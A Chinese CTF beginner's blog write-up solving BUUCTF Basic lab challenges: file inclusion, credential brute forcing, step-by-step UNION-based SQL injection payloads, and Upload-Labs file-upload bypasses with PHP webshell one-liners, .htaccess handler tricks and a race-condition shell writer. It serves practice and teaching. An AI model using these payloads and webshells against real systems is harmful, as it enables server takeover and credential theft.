loading

【CTF入门】BUUCTF Basic刷题(持续更新)

【CTF入门】BUUCTF Basic刷题(持续更新)

【CTF入门】BUUCTF Basic闯关

BUU LFI COURSE

打开网站,我们看到这个页面:

image-20241002103343928

可以发现网站的源码都给出来了,我们代码审计一下:

<?php
highlight_file(__FILE__);	// 显示当前文件的源代码
if(isset($_GET['file'])) {	// 检查是否存在 GET 请求参数 'file'
    $str = $_GET['file'];	// 获取 'file' 参数的值    
    include $_GET['file'];	// 引入指定的文件
}

也就是说我们可以使用GET请求传入参数file,页面引入file文件从而能使我们读取file文件的内容

我们尝试传参file=/flag(一般flag藏在靶机根目录):

image-20241002103802834

成功得到flag

考点:代码审计、PHP文件包含漏洞

BUU BRUTE

打开网站,我们看到这个页面:

image-20241002104104960

我们随便输入一些数据进去,题如其名,是要我们进行用户名和密码的爆破:

image-20241002104143502

在此我们使用burpsuite进行抓包,不懂的可以看这篇:【CTF入门】BUUCTF N1BOOK闯关(持续更新) - Super_Snow_Sword - 博客园 (cnblogs.com)

关于burpsuite的intruder功能可以看这篇:【CTF入门】BUUCTF Web刷题(持续更新) - Super_Snow_Sword - 博客园 (cnblogs.com)

我们将登录请求传入intruder并在用户名处添上payload:

image-20241002104803200

在此使用的用户名字典是:TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。 (github.com)

我们攻击后通过响应报文长度发现了正确的用户名有了不一样的回显:

image-20241002105014785

提示我们密码是四位数字,我们改变payload位置和生成规则:

image-20241002105202026

image-20241002105152682

开始爆破,最终得到了正确的密码:

image-20241002110404677

考点:用户名和密码爆破

BUU SQL COURSE

打开网站,我们看到这个页面:

image-20241002112052543

我们首先要测试找出功能点,但没有什么传参的部分,我们先抓个包看看:

image-20241002112614578

可以发现当我们随便点击一条测试新闻时,我们向/backend/content_detail.php传了参数id

我们尝试访问这个页面:

image-20241002114126939

有回显,我们尝试注入(不会的看这篇:【笔记】从0开始的sql注入漏洞学习(持续更新) - Super_Snow_Sword - 博客园 (cnblogs.com)):

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1'

运行后没有回显

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1 and 1=1

运行后正常显示

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1 and 1=2

运行后没有回显,说明注入点是数字型注入点

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1 order by 3--+

没有回显,因此可以判断网站查询的字段数为2

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1 and 1=2 union select 1,database()--+

image-20241002114958951

可以发现数据库回显出来了,我们继续跟进:

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'--+

image-20241002115352800

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin'--+

image-20241002115441748

http://438a16bb-08d7-43b3-8533-23d13aac68f6.node5.buuoj.cn:81/backend/content_detail.php?id=1 and 1=2 union select 1,concat_ws(',',id,username,password) from news.admin limit 0,1--+

image-20241002115541344

得到admin的密码后我们尝试登录:

image-20241002115643779

考点:SQL数字型注入

Upload-Labs-Linux

这是一个专门练习文件上传绕过的靶场,我们逐个过关

Pass-01 本pass在客户端使用js对不合法图片进行检查!

使用js即前端检测,只允许我们上传.jpg .png .gif类型的文件。

我们可以先将shell.php后缀名改为png,然后在拦截的数据包中修改后缀名绕过前端检测:

image-20241101225509071

所有前端检测都是纸老虎

考点:文件上传前端绕过

Pass-02 本pass在服务端对数据包的MIME进行检查!

MIME 类型(Multipurpose Internet Mail Extensions)是一种标准,用于描述互联网传输的数据类型。它最初用于电子邮件,但现在广泛应用于网页和其他互联网协议。MIME 类型的主要功能包括:内容类型标识、文件处理、格式化。

在这里我们上传的文件MIME类被识别为application/octet-stream,表示请求或响应的内容是二进制数据。

image-20241101225938810

因此我们可以将MIME类型伪造为图片:

Content-Type: image/jpeg

考点:文件上传MIME绕过

Pass-03 本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

php文件不允许上传,那么我们在文件后缀上做手脚就行了

可用的php绕过后缀名

php5
php4
php3
php2
phtml(包含 PHP 代码的 HTML 文件)
php~(带波浪号的备份文件)
phps(用于高亮显示的 PHP 文件)
phar
pht
php7
php8

使用php5成功绕过

考点:文件上传特殊可解析后缀

Pass-04 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

我们可以尝试上传一个.htaccess配置文件,将.png图片当作php代码进行解析

.htaccess配置文件

.htaccess 是一个配置文件,通常用于 Apache HTTP 服务器,以实现对特定目录或整个站点的配置。通过 .htaccess 文件,可以控制访问权限、重定向、URL 重写、安全设置等功能,而无需修改服务器的主配置文件。

<FilesMatch "shell.png">
SetHandler application/x-httpd-php

<FilesMatch "shell.png">

  • 这行指令指定了一个 FilesMatch 块,用于匹配文件名或文件名模式。这里,shell.png 是一个具体的文件名,这表示只有名为 shell.png 的文件才会受到下面指令的影响。
  • FilesMatch 可以接受正则表达式,因此你可以使用正则模式匹配多个文件。

SetHandler application/x-httpd-php

  • SetHandler 指令用于为匹配的文件设置一个处理程序(Handler)。在这个配置中,application/x-httpd-php 是一个 MIME 类型,用于指定 PHP 解析器来处理文件。

这意味着,虽然文件的扩展名是 .png,这个配置会告诉服务器把它当作 PHP 文件来处理,而不是正常的图片文件。

也可以

AddType application/x-httpd-php .png

AddType 指令

  • AddType 是 Apache 服务器的一个配置指令,用于为特定的文件扩展名设置 MIME 类型。
  • 它告诉 Apache 当它遇到某些扩展名的文件时,应该使用哪个 MIME 类型来处理这些文件。

application/x-httpd-php

  • 这是一个 MIME 类型,指示服务器将文件作为 PHP 脚本处理。application/x-httpd-php 是 Apache 服务器将 PHP 代码交给 PHP 引擎解析的方式。
  • 所以,如果你将这个 MIME 类型与某个文件扩展名关联,Apache 就会把该扩展名的文件当作 PHP 文件来处理,甚至如果它是一个图像文件(如 .png),也会尝试将其作为 PHP 代码执行。

.png

  • .png 是常见的图像文件扩展名,通常与 JPEG 图像相关。通过这条规则,所有以 .png 结尾的文件都会被服务器作为 PHP 文件来处理。

考点:文件.htaccess上传配置文件绕过

Pass-05 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

image-20241106223320794

image-20241106223334902

我们可以发现第五关并没有转换为小写,因此我们可以进行大写绕过:

shell.PHP

考点:文件上传后缀名大写绕过

Pass-06 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

image-20241106231516820

我们可以发现第六关并没有首尾去空,因此我们可以进行空格绕过:

` shell.php`
或
`shell.php `

考点:文件上传后缀名空格绕过

Pass-07 本pass禁止上传所有可以解析的后缀!

image-20241107073633069

我们可以发现第七关并没有删除文件名末尾的点,因此我们可以进行点绕过:

shell.php.

考点:文件上传后缀名点绕过

Pass-08 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

image-20241107075223629

我们可以发现第八关并没有去除字符串::$DATA,因此我们可以进行::$DATA绕过:

shell.php::$DATA

这个技巧利用了 Windows 文件系统的特殊行为来绕过文件扩展名过滤和执行权限控制。具体来说,这种绕过方法是利用了 NTFS 文件系统的 "命名流"(Alternate Data Streams,简称 ADS)特性。

在 NTFS 文件系统中,如果你在上传一个文件时,例如 shell.php::$DATA,实际上传的并不是 shell.php 文件本身,而是一个带有附加数据流的文件。

这个附加的数据流(即 ::$DATA)并不会被普通的文件系统检查工具或 Web 服务器识别为文件的主要部分。因此,Web 服务器不会直接执行这个命名流中的内容。

但这并不意味着这个流的数据不会被执行。实际上,攻击者可以在这个命名流中嵌入 PHP 或其他恶意代码,而 Web 服务器或应用程序如果未对文件内容进行深度检查,可能会误判这个文件为无害的。

攻击者上传文件后,Web 服务器可能只会检查文件扩展名是否为 .php,并且由于命名流的存在,服务器不会直接去处理或执行 ::$DATA 流中的内容。

如果 Web 服务器没有对文件内容(即 ::$DATA)进行深度检查,攻击者可以通过在 ::$DATA 流中放置恶意 PHP 代码(如文件包含、命令执行等)来绕过文件上传限制。

如果是在windows服务器中访问该文件会自动去掉::$DATA的后缀,但是这靶场是linux服务器所以这关失败

考点:文件上传后缀名::$DATA绕过

Pass-09 本pass只允许上传.jpg|.png|.gif后缀的文件!

image-20241107103801467

这一次把我们之前用过的所有绕过方式都过滤了,但都只过滤了一次,所以我们可以直接进行组合绕过

shell.php. .
过滤后
shell.php.

如果是在windows服务器中访问该文件会自动去掉.的后缀,但是这靶场是linux服务器找不到上传的文件了所以这关失败

考点:文件上传后缀名组合绕过

Pass-10 本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

image-20241107095732721

过滤逻辑会将黑名单的后缀名改为" "空值,我们直接进行双写绕过

shell.pphphp

考点:文件上传后缀名双写绕过

Pass-11 本pass上传路径可控!

image-20241107195634841

这次的脚本是个白名单,貌似我们除了上传jpg文件已经别无他法了,我们先构造一个png文件上传:

image-20241107195931330

这次我们的GET请求中多了一栏/upload/目录,我们可以在这里进行%00截断

/upload/shell.php%00

%00截断原理

  • %00 是 URL 编码表示的 NULL 字符(十六进制值为 0x00)。在许多编程语言和系统中,NULL 字符用于标记字符串的结束。因此,任何字符串在遇到 NULL 字符后都会被截断。
  • 在传统的 C 编程语言中,NULL 字符是字符串的结束符号,许多文件处理函数(例如 fopen()strcpy() 等)会在遇到 NULL 字符时停止处理后续字符。

文件上传中的 %00 截断漏洞

  • 当用户上传一个文件时,服务器可能会对文件名进行检查,判断文件的扩展名、文件类型或其他属性,确保它符合预定规则。许多文件上传漏洞就发生在文件扩展名的检查阶段。
  • 通过在文件名中插入 %00(即 NULL 字符),攻击者可以绕过服务器的文件类型检查。原因是,在某些文件系统和编程环境中,文件名的 %00 后的部分会被视为无效或被截断掉。服务器对文件名的检查可能会错误地忽略 %00 后的内容,导致文件上传成功并被执行。

windows系统就是C语言编写的,所以遇到%00就会停止处理后续字符,我们上传文件成功后文件存在的路径为:

/upload/shell.php [被截断] /shell.png

因此文件内容被写入shell.php中,但传输过程中被识别为shell.php

如果是在windows服务器中访问该文件会被%00截断,但可能是这靶场是linux服务器找不到上传的文件了所以这关失败,也有可能是%00只能用于php版本低于5.3的

考点:文件上传%00截断

Pass-12 本pass上传路径可控!

image-20241107201218297

这次回显的/upload/目录是以POST方式请求的,我们可以在那里进行%00截断,不过要自行解码(POST请求不会进行url解码)

image-20241107201416184

解码上传即可

考点:文件上传%00截断

Pass-13 本pass检查图标内容开头2个字节!

这关以后都是使用文件包含漏洞运行图片马中的恶意代码了

我们上传图片,存在文件头检查,我们这样构造图片马:

GIF89a
<?php @system($_GET['shell']);?>

为了文件包含利用图片马,我们到靶场存在文件包含漏洞的页面传参即可:

image-20241107202116318

/include.php?file=shell.gif

考点:文件上传文件头检查绕过

Pass-14 本pass使用getimagesize()检查是否为图片文件

image-20241107202822970

getimagesize()危险函数:会对目标文件的16进制去进行一个读取,去读取文件头几个字符串是不是符合图片的要求

与上一题不同的一点就是读的字符多了一点,我们使用同样的方法即可

考点:文件上传突破getimagesize()

Pass-15 本pass使用exif_imagetype()检查是否为图片文件!

image-20241107203031721

危险函数exif_imagetype()主要用于检测图像文件的类型。它通过读取图像文件的元数据(EXIF 数据),来确定图像的 MIME 类型,而不需要完全解析图像文件的内容。

为了让我们的图片马存在EXIF数据,我们将木马内容拼接到图片文件尾即可构造一个文件码

可以使用以下命令:

copy shell.jpg /b + shell.php /a webshell.jpg

构造后上传即可

考点:文件上传突破exif_imagetype()

Pass-16 本pass重新渲染了图片!

image-20241107204728291

其中的imagecreatefromjpeg()危险函数是 PHP 中用于从 JPEG 图像文件创建一个图像资源的函数。该函数从指定的 JPEG 文件中读取图像数据,并返回一个可以在 PHP 中进一步操作的图像资源。

对于这关,我们在上传了图片后将经渲染的图片马与原图片马比较,在还一样的地方插入一句话木马即可

考点:文件上传突破二次渲染

Pass-17 需要代码审计!

image-20241107205912487

我们进行分析

$is_upload = false;  // 初始化上传状态,默认为 false
$msg = null;  // 初始化上传消息,默认为 null

// 检查表单是否已提交
if (isset($_POST['submit'])) {
    // 定义允许上传的文件扩展名
    $ext_arr = array('jpg', 'png', 'gif');
    
    // 获取上传文件的文件名
    $file_name = $_FILES['upload_file']['name'];
    
    // 获取上传文件的临时文件路径
    $temp_file = $_FILES['upload_file']['tmp_name'];
    
    // 获取上传文件的扩展名
    $file_ext = substr($file_name, strrpos($file_name, ".") + 1);
    
    // 设置最终上传文件的路径
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    // 尝试将文件从临时目录移动到目标目录
    if (move_uploaded_file($temp_file, $upload_file)) {
        // 检查文件扩展名是否在允许的扩展名列表中
        if (in_array($file_ext, $ext_arr)) {
            // 如果是允许的文件类型,重命名文件并移动到新路径
            $img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;
            rename($upload_file, $img_path);  // 重命名文件
            $is_upload = true;  // 设置上传成功标志
        } else {
            // 如果文件类型不被允许,输出错误消息并删除已上传的文件
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);  // 删除不合法的文件
        }
    } else {
        // 上传文件失败,设置错误消息
        $msg = '上传出错!';
    }
}

当我们上传文件,文件首先会先上传到临时文件路径中进行过滤,再上传到目标目录判断(查看文件扩展名)删除不合法的文件

也就是说只要我们一直不停地上传文件并且访问,服务器不停地删除文件,形成脚本和服务器之间的竞争

竞争到资源即可执行shell

<?php fputs(fopen('shell.php'.'w'),'<?php @system($_GET["shell"])?>')>

这段代码的目的是创建一个名为 shell.php 的 PHP 文件(如果文件名拼接无误),并将恶意的 PHP 代码写入到该文件中。

在此我们使用burpsuite的intruder模块疯狂上传同时疯狂访问直到小马生成即可

考点:文件上传条件竞争

Pass-18 需要代码审计!

$is_upload = false;  // 初始化上传状态,默认为 false,表示上传未成功
$msg = null;  // 初始化错误消息变量,默认为 null

// 检查是否提交了上传表单
if (isset($_POST['submit'])) {
    // 引入外部文件 `myupload.php`,其中包含了上传逻辑
    require_once("./myupload.php");
    
    // 生成一个基于当前时间的文件名,用于上传文件
    $imgFileName = time();
    
    // 创建一个 MyUpload 对象,传入文件的基本信息以及新的文件名
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'], $imgFileName);
    
    // 调用 `upload()` 方法执行文件上传,返回上传状态码
    $status_code = $u->upload(UPLOAD_PATH);
    
    // 根据上传的状态码来判断上传结果
    switch ($status_code) {
        case 1:  // 上传成功,文件已成功上传并重命名
            $is_upload = true;  // 设置上传成功标志
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;  // 获取文件的最终路径
            break;
        case 2:  // 文件已上传但没有重命名
            $msg = '文件已经被上传,但没有重命名。';
            break;
        case -1:  // 文件不能上传到临时目录
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break;
        case -2:  // 上传目录不可写
            $msg = '上传失败,上传目录不可写。';
            break;
        case -3:  // 不允许上传该类型的文件
            $msg = '上传失败,无法上传该类型文件。';
            break;
        case -4:  // 上传的文件过大
            $msg = '上传失败,上传的文件过大。';
            break;
        case -5:  // 服务器已存在相同名称的文件
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break;
        case -6:  // 文件无法复制到目标目录
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;
        default:  // 其他未知错误
            $msg = '未知错误!';
            break;
    }
}

当我们上传文件,文件首先会先上传到临时文件路径中进行过滤,再上传到目标目录判断(查看文件扩展名)删除不合法的文件,再进行二次渲染后上传,因此我们只能上传图片马

也就是说只要我们一直不停地上传图片马(图片马二次渲染不会改变的地方插入代码)并且访问,服务器不停地删除文件,形成脚本和服务器之间的竞争

竞争到资源即可执行shell

<?php fputs(fopen('shell.php'.'w'),'<?php @system($_GET["shell"])?>')>

这段代码的目的是创建一个名为 shell.php 的 PHP 文件(如果文件名拼接无误),并将恶意的 PHP 代码写入到该文件中。

在此我们使用burpsuite的intruder模块疯狂上传同时疯狂访问直到小马生成即可

考点:文件上传条件竞争、文件上传突破二次渲染

Pass-19 本pass的取文件名通过$_POST来获取。

image-20241118154409239

这次出现了危险函数move_upload_file

move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

因此我们抓包后在保存名称后边加上/.即可绕过

而且前面关卡的一些绕过方式也可以,如0x00空字符截断

考点:

Pass-20 来源于CTF,请审计代码!

$is_upload = false; // 初始化上传状态为 false,表示文件尚未上传
$msg = null; // 初始化提示消息为空

// 检查是否有文件上传
if(!empty($_FILES['upload_file'])){
    // 定义允许上传的 MIME 类型
    $allow_type = array('image/jpeg', 'image/png', 'image/gif');
    
    // 检查上传文件的 MIME 类型是否在允许范围内
    if(!in_array($_FILES['upload_file']['type'], $allow_type)){
        $msg = "禁止上传该类型文件!"; // 如果类型不符合,设置错误消息
    } else {
        // 获取保存的文件名
        // 如果 POST 请求中未提供保存名,则使用上传文件的原始文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        
        // 如果文件名不是数组,则将其分割为数组,按点号分割,转为小写
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        // 获取文件后缀名
        $ext = end($file); // 取数组的最后一个元素(文件后缀)
        
        // 定义允许的文件后缀名
        $allow_suffix = array('jpg', 'png', 'gif');
        
        // 检查文件后缀名是否在允许范围内
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!"; // 如果后缀不符合,设置错误消息
        } else {
            // 拼接保存的文件名,确保文件名与后缀正确组合
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            
            // 获取临时文件路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            
            // 定义最终保存路径
            $img_path = UPLOAD_PATH . '/' . $file_name;
            
            // 移动临时文件到目标路径
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!"; // 如果文件移动成功,设置成功消息
                $is_upload = true; // 标记文件已上传
            } else {
                $msg = "文件上传失败!"; // 如果文件移动失败,设置失败消息
            }
        }
    }
} else {
    $msg = "请选择要上传的文件!"; // 如果未选择文件,设置提示消息
}

它首先将我们上传的文件名作为一个数组查看(如1.php会被看做file[0]=1 file[1]=php

提取数组最后一个数据作为后缀名来过滤,为了绕过我们可以将数组最后一个数据伪造成png

之后还会将数组最后一个数据与数组第一个数据加上.进行拼接,所以我们这样构造:

file[0]=1.php file[1]= file[2]=jpg

考点:文件上传绕过

补充Pass-05 [Windows]Upload-Labs-Windows中多出的一关

这一关的思路是它没有循环验证,也就是说这些收尾去空,删除末尾的点,去除字符串::$DATA,转换为小写这些东西只是验证了一次。所以我们的绕过思路就很简单,在数据包中把后缀名改为.php. .说一下他的验证过程,首先他发现有一个点,这时会把他去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功。

文件上传漏洞总结:

image-20241118155948923

posted @ 2025-05-20 17:03  Super_Snow_Sword  阅读(699)  评论(0)    收藏  举报